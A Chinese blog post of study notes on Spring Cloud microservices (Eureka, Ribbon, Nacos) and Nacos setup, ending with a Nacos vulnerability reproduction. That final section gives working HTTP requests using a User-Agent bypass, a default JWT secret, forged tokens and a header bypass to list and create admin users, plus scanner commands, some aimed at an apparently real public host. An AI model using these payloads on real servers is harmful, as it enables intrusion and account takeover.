分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>

微服务技术栈
- 一、微服务 介绍了解
- 1 架构结构案例
- 与 springboot 兼容关系
- 拆分案例
- 拆分
- 服务拆分-服务远程调用
- 2 eureka注册中心
- Eureka-提供者与消费者
- Eureka-eureka原理分析
- Eureka-搭建eureka服务
- Eureka-服务注册
- Eureka-服务发现
- 3 Ribbon组件 负载均衡
- Ribbon-负载均衡原理
- Ribbon-负载均衡策略
- Ribbon-饥饿加载
- 4 nacos 阿里注册中心
- Nacos-快速入门
- Nacos-服务多级存储模型
- Nacos-NacosRule负载均衡
- Nacos-服务实例的权重设置
- Nacos-环境隔离
- Nacos和Eureka的对比
- Nacos实现配置管理
- Nacos配置管理-微服务配置拉取
- Nacos配置管理-配置热更新
- Nacos配置管理-多环境配置共享
- Nacos配置管理-nacos集群搭建
- 安装Nacos
- Java快速开发框架_若依——Ruoyi-SpringCloud版本-3.下载源码并导入数据库 安装nacos
- 准备工作
- 运行系统
- Nacos 漏洞复现
- 介绍
- 未授权添加用户
一、微服务 介绍了解
分布式架构的一种
把服务进行 拆分
springcloud 解决了 服务拆分过程中的 治理问题
与单体应用 进行区分
(单体架构 把业务所有功能集中开发,打成一个包部署)

每个模块独立开发和部署(服务集群)


服务之间互相调用

出现分布式技术
Webservice
ESB
Hession
Dubbo
异步通信 消息队列(秒杀)
敏捷开发思想

高内聚低耦合
微服务 + 持续集成




1 架构结构案例
微服务方案 技术框架落地
eg springcloud + 阿里dubbo
2012 dubbo 开源 (“半吊子”微服务)
2015-2017 springcloud(整合)
封装了Feign客户端 发http 请求 Restful接口
Spring Cloud Bus 自动通知 热更新
实现了同样的 接口规范



springcloud 模块
- 统一配置管理
- 服务注册发现
- 请求路由
- 服务远程调用
- 负载均衡
- 断路


基于 springboot 自动装配
与 springboot 兼容关系

Hoxton SR10 + boot2.3.x
拆分案例
拆分
功能模块进行拆分
单一职责
即 不同微服务 不重复开发相同业务
数据独立
不要访问其他微服务数据库
业务接口
每个模块将自己的业务暴露为接口,供其他服务调用



且没法关联查询

将工程文件夹放到 IDE 的 工作空间


可以看到项目所有的微服务

项目结构
父工程(主要定义了依赖版本)


数据分离

业务逻辑


返回订单对象



符合 微服务 拆分 的单一职责

服务拆分-服务远程调用




spring的 HTTP 请求工具
用Bean的方式 把RestTemplate 注册 为spring容器 的 对象
就可以在任何地方 以 注入的方式 来用

Bean的注入 只能放在 配置类里面
带有 main的 启动类 本身也是配置类
在这创建 RestTemplate对象

跟入 orderservice 
先把 resttemplate注入进spring 容器里来

http请求 返回 json 但在这里需要一个user对象
resttemplate 会 给让你输入一个 返回对象

2 eureka注册中心
Eureka-提供者与消费者


概念 是 业务中谁对谁而言
既可以是 提供 也可以是 消费者

Eureka-eureka原理分析

ip 端口 是 硬编码在 代码中的
不方便 环境部署
集群 不好布置

注册中心 (记录管理微服务)



Eureka-搭建eureka服务


starter -----spring boot里面的 自动装配
注解是 eureka server 自动装配的 开关
创建 maven模块


父工程pom 已经把 版本依赖做好了

所有组件版本信息 点进去看

加个 springboot注解
psvm

加上 eureka 自动装配的 开关注解(启动类 上 做注解)
新建 配置文件
eureka 集群 所以 自己也将自己的 微服务 注册




注册到eureka 的 实例
windows 显示的 是 计算机名 本来是 ip

Eureka-服务注册


编辑eureka地址信息
yml文件 不许 出现两个 根名称


启动两个实例


-D 参数
yml 文件 内的 server.port

实例列表


Eureka-服务发现




查看 order services 是 负载均衡 走的 哪个


3 Ribbon组件 负载均衡
Ribbon-负载均衡原理



LoadBalancer 标记 拦截 实现 http 请求 接口


接口定义的 方法名字 intercept

同样实现了intercept 方法
下断点

取得主机名
去 做 服务拉取

Ribbon load balamcer对象

步入 这个 execute 方法


把这个 service id 交给 getloadBanlancer处理
得到 loadbalancer 对象
动态服务列表 负载均衡器

在这个对象里面

就拉取到了 服务列表
整个步骤 根据 服务名称 拉取 服务列表

getserver 开始负载均衡


进入 getserver 方法
选择 server 步入

找一个 super 父亲的 选择


走到了 rule 的 选择
要有一个 规则 从 动态 server 里 选

这个 IRule 是一个 接口I
规则接口 那就会有实现类
IDEA Ctrl H 查看实现类

比如
轮询负载均衡
随机
默认规则 ZoneAvoidance

返回来了 选择的 8081

Ribbon-负载均衡策略
IRule 接口 继承关系 图

ZoneAvoidance 这个 它爷爷 也是 轮询

在 服务 注册 时 可以 设置 zone的 值
(杭州,上海)
配置类内 修改 规则 用 Irule 的 bean 作为 一个 对象 注入到 spring 容器
可以 实现 Irule 各种类型


全局的

针对 某个 微服务的 配置

Ribbon-饥饿加载



创建 load balance Client 还要做 服务拉取
时间较长

拉取 时 创建了 动态 serverlist load balancer 等 耗费时间 - 懒加载
第二次 server list 会 缓存到内存中


与 spring boot 一样

随着 tomcat 启动 就完成了

springmvc 容器 的 初始化


4 nacos 阿里注册中心



服务注册 与发现
分布式 配置








8848 默认端口


-m 模式 单启动


Nacos-快速入门

通用 在这里 定义了 接口规范
定义了服务发现 与 服务注册

Eureka 和 nacos 都要遵循 这些接口
所以 服务者 消费者 代码 不用变
需要 更改 依赖 和 地址



添加 父管理依赖
添加 服务注册 启动器依赖



添加yml 地址




Nacos-服务多级存储模型





Nacos-NacosRule负载均衡


nacos 地区 随机 选择 服务

如果 本地 没有 服务 访问 外地 同服务 同时 警告

Nacos-服务实例的权重设置



调整成0 时 权重 , 不会被 访问
平滑升级业务

Nacos-环境隔离
注册中心 - 数据中心 对 服务 进行 隔离
命名空间 - group 属性

服务(集群)–下一级–》 实例
对实例的划分 是 对业务 进行的 划分 (地域)
命名空间 是 对于 开发生产 测试 环境 的划分
(比如 把 业务相似度 比较高的 服务 放在 一个 分组)

订单—支付 放一块

默认 public




添加 命名 空间的 ID





Nacos和Eureka的对比
会在 动态服务 loadbalancer 里拉取 缓存 server 列表 周期30s

区别 在于 提供者的 健康检测

划分 提供者 为 临时 实例
和非临时实例

临时 实例 会 直接剔除
非临时实例 会 等待 康复

如果 提供者 挂掉了 nacos 主动 推送 变更 消息






非临时实例 不会被 剔除掉 等待 复活

nacos 强调 AP 数据的 可用性
CP 强调 可靠性 和 一致性

Nacos 配置管理 功能
Feign 声明式远程调用 比较 Resttemplate
Nacos实现配置管理

配置文件 - 关联服务重启 - (热更新 不用重启 就能 配置 生效)
配置管理服务 记录核心配置

读取配置 结合 本地配置
DataID 服务名称+ profile运行环境名 dev/test/prod.yaml


模版 类型



Nacos配置管理-微服务配置拉取





去掉重复配置
用 Value 注解 读取配置





Nacos配置管理-配置热更新

属性刷新




配置 自动加载 注解

定义一个 成员变量

添加 data注解 getset 方法
用 component 把这个类变成 spring 容器的 一个 bean


注入进来 用getdateformat 获取

Nacos配置管理-多环境配置共享
开发生产测试 环境 配置值 一致






另起一个 spring 测试 微服务 环境




配置文件 的 优先级





以 userservice 为准
共享 与 有环境的 以 环境为准


Nacos配置管理-nacos集群搭建



nginx 有 反向代理 和 负载均衡 的 功能




















粘贴到 http 的 内部







安装Nacos
输入命令:
wget https://github.com/alibaba/nacos/releases/download/1.2.0/nacos-server-1.2.0.tar.gz

https://github.com/alibaba/nacos/releases

tar -zxvf nacos-server-1.4.1.tar.gz

修改配置文件,
支持mysql,修改nacos/conf/application.properties文件,
增加支持mysql数据源配置(目前只支持mysql),
添加mysql数据源的url、用户名和密码,
vi conf/application.properties


spring.datasource.platform=mysql### Count of DB:
db.num=1### Connect URL of DB:
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC
db.user.0=nacos
db.password.0=nacos

将java安装包传到/home/java中
tar zxvf 压缩包名称
解压就安装完成了,之后我们要进行环境配置了
vi /etc/profile
export JAVA_HOME=/home/java/jdk1.8.0_231export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=$PATH:$JAVA_HOME/bin



生效命令:
source /etc/profile
访问地址为:
http://127.0.0.1:8848/nacos
启动服务
切换到bin目录,执行命令:sh startup.sh -m standalone
关闭服务
切换到bin目录,执行命令:sh shutdown.sh
注意:
此版本必须安装jdk1.8+版本,不然启动时会报错
默认没有开启用户名和密码登录
需要修改application.properties文件中的nacos.core.auth.enabled=true
才能开启用户名密码登录,
用户名/密码:nacos/nacos
Nacos 修改mysql中默认账号密码
数据库会有一个默认用户。

这时候默认的用户名是nacos nacos,这要是放到公网上肯定是不安全的,接下来告诉大家怎么修改。
我们新建一个springboot项目,加入一个依赖 spring-boot-starter-security ,只需要这一个就好了。
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId><version>2.1.4.RELEASE</version>
</dependency>
然后写个类执行以下 new BCryptPasswordEncoder().encode(“你的密码”)就会生成新的加密过的密码。
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;public class SetPassword {public static void main(String[] args) {System.out.println(new BCryptPasswordEncoder().encode("新密码"));}
}
接下来就是复制密码去数据库替换默认的密码。默认用户是nacos 也可以修改,那个是明文的可以直接改,但是如果要修改用户名的话,要修改roles表里用户。
切换目录:cd /usr/local/nacos/bin
单机模式启动:sh startup.sh -m standalone
参考资料:
https://www.jianshu.com/p/55091f2ad6e1
https://blog.csdn.net/leaf_dai/article/details/103380851
Java快速开发框架_若依——Ruoyi-SpringCloud版本-3.下载源码并导入数据库 安装nacos

准备工作
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Redis >= 3.0
Maven >= 3.0
Node >= 10
nacos >= 1.1.0
sentinel >= 1.6.0
运行系统
#后端运行
1、前往Gitee下载页面(https://gitee.com/y_project/RuoYi-Cloud (opens new window))
下载解压到工作目录




2、导入到Eclipse,菜单 File -> Import
然后选择 Maven -> Existing Maven Projects,点击 Next> 按钮,
选择工作目录,然后点击 Finish 按钮,即可成功导入。
Eclipse会自动加载Maven依赖包,初次加载会比较慢(根据自身网络情况而定)



3、创建数据库ry-cloud并导入数据脚本ry_2021xxxx.sql(必须),quartz.sql(可选)




4、创建数据库ry-config并导入数据脚本ry_config_2021xxxx.sql(必须)


https://nacos.io/zh-cn/docs/quick-start.html


https://github.com/alibaba/nacos/releases







5、配置nacos持久化,修改conf/application.properties文件,增加支持mysql数据源配置
# db mysql
spring.datasource.platform=mysql
db.num=1
db.url.0=jdbc:mysql://localhost:3306/ry-config?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true
db.user=root
db.password=password




启动命令(standalone代表着单机模式运行,非集群模式):cmd startup.cmd -m standalone







尽量 不要带中文 打jar包 报错

高并发 -----好多 连接
高可用 ----- 一个宕机 不影响其他
每个应用微服务 ---- 开启多个(对应不同端口)

Nacos 漏洞复现
介绍
Nacos(全称为"Naming and Configuration Service")是一个开源的动态服务发现、配置和服务管理平台,由阿里巴巴集团开源。它可以帮助开发者更好地构建云原生应用和微服务架构。Nacos的主要功能和特点包括:1. 服务发现与注册:Nacos提供了高可用的服务注册和发现功能,允许开发者按需注册、发现和注销服务实例。它支持多种服务发现协议,如DNS、HTTP和gRPC,使得服务之间的通信更加简单和可靠。2. 动态配置管理:Nacos允许开发者将配置信息集中管理,并支持动态刷新。通过Nacos,开发者可以轻松修改、发布和回滚配置,而无需重启应用程序或重新部署。3. 服务路由与负载均衡:Nacos提供了灵活的服务路由和负载均衡功能,能够根据不同的场景和策略自动进行请求转发和负载均衡。4. 集群和扩展性:Nacos支持横向扩展,可以构建高可用的集群部署。开发者可以根据应用程序的需求,灵活扩展Nacos实例数量,以提供更高的可用性和性能。5. 健康检查与故障转移:Nacos能够对注册的服务进行健康检查,并自动剔除不健康的实例。在实例出现故障或不可用时,Nacos还能够进行故障转移,保证服务的连续可用性。6. 社区支持和生态系统:Nacos拥有活跃的开发者社区和广泛的应用场景。除了核心功能之外,Nacos还提供了丰富的插件和扩展,以满足不同应用场景的需求。Nacos是一个开源项目,源代码托管在GitHub上,并采用Apache License 2.0开源许可证。虽然Nacos由阿里巴巴集团发起,但它是一个面向全球开发者社区的开源项目,并得到了全球开发者的参与和贡献。
未授权添加用户
https://mp.weixin.qq.com/s/iCMiFGQnsqqfvqhbGxZ8pQ
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。
但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。影响版本: Nacos <= 2.0.0-ALPHA.1查看用户
访问路径,可以查看用户列表(包含密码)alibaba-nacos-v1-auth-bypass/nacos/v1/auth/users?pageNo=1&pageSize=100
User-Agent: Nacos-Server添加新用户
1、访问url2、请求改为post,把修改User-Agent头改为“Nacos-Server”3、构造数据包添加一个admin用户,然后发送POST请求,返回为200,表示创建用户成功4、用新账户密码登录则登录成功漏洞修复
升级Nacos版本到最新版发送如下数据包成功创建用户POST /nacos/v1/auth/users HTTP/1.1
Host: 172.16.244.174:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Length: 34username=test111&password=test1111https://www.secpulse.com/archives/199642.htmlhttps://jwt.io/#debugger-io
https://www.beijing-time.org/shijianchuo/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbWluZzExMTExMSIsImV4cCI6IjE2OTE5NTE5ODEifQ.sYrKZFyrjGpw5IHiy4aA1SVlqPxpVEeHxXhTndTyWgUPOST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4username=najcos&password=nacjos方式二:默认未授权
发送如下数据包,成功创建用户POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test02&password=test02 SecretKey012345678901234567890123456789012345678901234567890123456789发送如下数据包成功创建用户
POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test03&password=test03方式四:默认头部
发送如下数据包,成功创建用户
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31username=test05&password=test05GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 HTTP/1.1
Host: 172.25.0.249:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusername=aminghack&password=yyds@amingpython3 Nacos_default.token.py -u [http://127.0.0.1:1111](http://127.0.0.1:1111/) 单个url测试python3 Nacos_default.token.py -a [http://127.0.0.1:1111](http://127.0.0.1:1111/) 添加用户m2orz/zzz321..python3 Nacos_default.token.py -f url.txt 批量检测payload1:[http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9)payload2:[http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9)扫描结束后会在当前目录生成存在漏洞url的vuln.txthttp://nacos.ts.taslyy.cn:3080/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9https://www.secpulse.com/archives/199642.htmlnacos nacos默认未授权
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test02&password=amingmm123123默认JWT-secret
nacos/conf/application.properties中设置nacos.core.auth.enabled=true开启权限认证POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test03&password=amingmm123123默认头部POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31username=test05&passwordamingmm123123低版本(nacos<1.4.1)默认白名单UA
1.在nacos/conf/application.properties中设置
nacos.core.auth.enable.userAgentAuthWhite=true开启白名单UAhttps://www.box3.cn/tools/jwt.html
https://jwt.io/#debugger-ioPOST /nacos/v1/auth/users/login HTTP/1.1
Host: nacos.ts.taslyy.cn:3080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusername=aminghack&password=yyds@aming相关文章:
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>
微服务技术栈 一、微服务 介绍了解1 架构结构案例与 springboot 兼容关系拆分案例拆分服务拆分-服务远程调用 2 eureka注册中心Eureka-提供者与消费者Eureka-eureka原理分析Eureka-搭建eureka服务Eureka-服务注册Eureka-服务发现 3 Ribbon组件 负载均衡Ribbon-负载均衡原理Ribb…...
Unity解决:导出AndroidStudio工程 出现如下报错的解决方法
unity2019.4+ androidStudio2023.x+ 问题1: cvc-complex-type.2.4.a: 发现了以元素 base-extension 开头的无效内容。应以 {layoutlib} 之一开头。 解决:第一个Build.gradle更改如下 // GENERATED BY UNITY. REMOVE THIS COMMENT TO PREVENT OVERWRITING WHEN EXPORTING …...
Mac电脑怎么在Dock窗口预览,Dock窗口预览工具DockView功能介绍
DockView是一款Mac电脑上的软件,它可以增强Dock的功能,让用户更方便地管理和切换应用程序。 DockView的主要功能是在 DockQ,栏上显示每个窗口的缩略图,并提供了一些相关的操作选项。当用户将鼠标悬停在Dock栏上的应用程序图标上时…...
Hadoop3教程(三十):(生产调优篇)纠删码
文章目录 (155)纠删码原理纠删码原理纠删码相关命令纠删码策略解释 (156)纠删码案例实操参考文献 (155)纠删码原理 纠删码原理 默认情况下,一个文件在HDFS里会保留3个副本,以此提高…...
用nodejs爬虫台湾痞客邦相册
情景:是这样的,我想保存一些喜欢的小伙伴的照片,一张张保存太慢了, 所以我写了个js,放在国外服务器爬,国内的自己解决~ 使用方法 1.点相册随便一张, 复制url, 这张开始接下来的图片都会保存 /*** 2023年10月23日 22:58:44* 支持解析痞客邦相册* 只需要复制相册第一张图片的ur…...
物联网_01_物理设备的网络接入
设备的网络接入及物理层使用到的传输协议 现在物理设备有两种接入方式,一种是直接接入另一种是网关接入 直接接入 给物理设备添加NB-IOT通信模组等设备使之具有直接接入网络的能力 网关接入 物理设备在本地组网后通过统一的网关接入到网络(ZigBee无线组网网关).网关是处在本地…...
AD9371 官方例程之 tx_jesd 与 xcvr接口映射
AD9371 系列快速入口 AD9371ZCU102 移植到 ZCU106 : AD9371 官方例程构建及单音信号收发 AD9371 官方例程 时钟间的关系与生成 : AD9371 官方例程HDL详解之JESD204B TX侧时钟生成(一) AD9371 官方例程 时钟间的关系与生成 &…...
UserWarning: CUDA initialization: CUDA unknown error
CUDA在suspend之后不可用问题 问题描述 一觉醒来,电脑cuda不可用 /home/你的电脑/pytorch/lib/python3.8/site-packages/torch/cuda/__init__.py:107: UserWarning: CUDA initialization: CUDA unknown error - this may be due to an incorrectly set up enviro…...
C算法:使用选择排序实现从(大到小/从小到大)排序数组,且元素交换不可使用第三变量。
需求: 使用选择排序实现从(大到小/从小到大)排序,且元素交换不可使用第三变量 (异或交换法) 代码实现: #include <stdio.h> void maopao(int* array,int len,int(*swap)(int a,int b)) {int i,j;for(i0;i<len-1;i){for(ji1;j<…...
用mysql客户端操作时,一直提示 Lost connection to MySQL server during query
问题:ERROR 2013 (HY000): Lost connection to MySQL server during query :查询期间失去与 MySQL 服务器的连接 原因:如果客户端如果太长时间没动静,连接器就会自动将连接断开, 这个时间是由参数wait_timeout控制的,…...
KubeSphere一键安装部署K8S集群(单master节点)-亲测过
1. 基础环境优化 hostnamectl set-hostname master1 && bash hostnamectl set-hostname node1 && bash hostnamectl set-hostname node2 && bashcat >> /etc/hosts << EOF 192.168.0.34 master1 192.168.0.45 node1 192.168.0.209…...
vue3 element-plus 组件table表格 勾选框回显(初始化默认回显)完整静态代码
<template><el-table ref"multipleTableRef" :data"tableData" style"width: 100%"><el-table-column type"selection" width"55" /><el-table-column label"时间" width"120">…...
Redis --- 安装教程
Redis--- 特性,使用场景,安装 安装教程在Ubuntu下安装在Centos7.6下安装Redis5 特性在内存中存储数据可编程的扩展能力持久化集群高可用快速 应用场景实时数据存储作为缓存或者Session存储消息队列 安装教程 🚀安装之前切换到root用户。 在…...
代码阅读:LanGCN
toc 1训练 1.1 进度条 import tqdm as tqdm for i, data in tqdm(enumerate(train_loader),disablehvd.rank()):1.2 多进程通信 多线程通信依靠共享内存实现,但是多进程通信就麻烦很多,因此可以采用mpi库,如果是在python中使用࿰…...
基于Java的校园餐厅订餐管理系统设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding) 代码参考数据库参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…...
使用C#和Flurl.Http库的下载器程序
根据您的要求,我为您编写了一个使用C#和Flurl.Http库的下载器程序,用于下载凤凰网的图片。以下是一个简单的示例代码: using System; using Flurl.Http;namespace DownloadImage {class Program{static void Main(string[] args){string url…...
面试经典150题——Day19
文章目录 一、题目二、题解 一、题目 58. Length of Last Word Given a string s consisting of words and spaces, return the length of the last word in the string. A word is a maximal substring consisting of non-space characters only. Example 1: Input: s “…...
TP6首页加载报错 Call to a member function run() on null
最近新接入一个二开的项目,tp6的项目内置的composer.json文件里引入的topthink框架包文件却是"topthink/framework": "5.0.*",导致了以下错误: 错误: Fatal error: Uncaught Error: Call to a member function run() o…...
洗车小程序源码:10个必备功能,提升洗车体验
作为洗车行业的专家,我们深知在如今数字化时代,拥有一款功能强大的洗车小程序是提升用户体验和业务发展的关键。本文将向您介绍洗车小程序源码中的10个必备功能,让您的洗车业务达到新的高度。 在线预约系统 通过洗车小程序源码,…...
macOS telnet替代方式
前言 经过使用Linux,常常用Linux的telnet查看端口畅通,是否有防火墙,但是在mac上已经没有这个命令了,那么怎么使用这个命令或者有没有其他替代呢,win和linux是否可以使用相同的替代。macOS可以原生用nc命令替代&#…...
wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...
接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...
Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
2021-03-15 iview一些问题
1.iview 在使用tree组件时,发现没有set类的方法,只有get,那么要改变tree值,只能遍历treeData,递归修改treeData的checked,发现无法更改,原因在于check模式下,子元素的勾选状态跟父节…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
智能仓储的未来:自动化、AI与数据分析如何重塑物流中心
当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...
VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式,然后找到相应的网卡(可以查看自己本机的网络连接) windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置,选择刚才配置的桥接模式 静态ip设置: 我用的ubuntu24桌…...
